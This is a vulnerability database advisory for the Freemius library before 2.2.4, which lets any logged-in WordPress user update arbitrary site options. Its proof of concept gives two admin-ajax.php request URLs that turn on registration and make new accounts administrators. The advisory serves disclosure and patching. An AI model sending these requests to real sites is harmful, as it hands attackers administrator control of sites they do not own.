WordPress Plugin Vulnerabilities
Freemius Library < 2.2.4 - Subscriber+ Arbitrary Option Update
Description
The library, used in numerous plugins, does not have proper authorisation when updating blog options, allowing any authenticated users, such as subscriber to update arbitrary options
Proof of Concept
As any authenticated user: Enable new user registrations: https://localhost/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=users_can_register&option_value=1 Set the default role for new registrations to Admin: https://localhost/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=default_role&option_value=administrator
Affects Plugins
Affects Themes
References
Classification
Type
INCORRECT AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Submitter
Ryan Dewhurst, ptsfense, 0xdecafbad
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2019-02-26 (about 4 years ago)
Added
2019-03-01 (about 4 years ago)
Last Updated
2022-05-28 (about 1 years ago)